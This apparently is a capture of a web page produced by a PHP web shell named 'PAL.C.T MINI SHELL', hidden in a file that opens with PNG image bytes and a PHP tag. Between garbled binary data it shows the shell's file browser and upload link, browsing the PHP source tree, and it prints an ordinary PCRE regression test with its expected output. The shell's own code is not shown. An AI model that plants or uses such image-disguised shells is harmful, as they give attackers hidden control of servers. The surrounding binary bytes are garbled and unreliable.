php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/pcre/tests/
upload
files >> //php-7.1.11/ext/pcre/tests/bug41638.phpt

--TEST--
Bug #41638 (pcre 7.0 regression)
--FILE--
<?php
$str = "repeater id='loopt' dataSrc=subject colums=2";

preg_match_all("/(['\"])((.*(\\\\\\1)*)*)\\1/sU",$str,$str_instead);
print_r($str_instead);

// these two are from Magnus Holmgren (extracted from a pcre-dev mailing list post)
preg_match_all("/(['\"])((?:\\\\\\1|.)*)\\1/sU", $str, $str_instead);
print_r($str_instead);

preg_match_all("/(['\"])(.*)(?<!\\\\)\\1/sU", $str, $str_instead);
print_r($str_instead);

?>
--EXPECT--
Array
(
    [0] => Array
        (
            [0] => 'loopt'
        )

    [1] => Array
        (
            [0] => '
        )

    [2] => Array
        (
            [0] => loopt
        )

    [3] => Array
        (
            [0] => t
        )

    [4] => Array
        (
            [0] => 
        )

)
Array
(
    [0] => Array
        (
            [0] => 'loopt'
        )

    [1] => Array
        (
            [0] => '
        )

    [2] => Array
        (
            [0] => loopt
        )

)
Array
(
    [0] => Array
        (
            [0] => 'loopt'
        )

    [1] => Array
        (
            [0] => '
        )

    [2] => Array
        (
            [0] => loopt
        )

)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`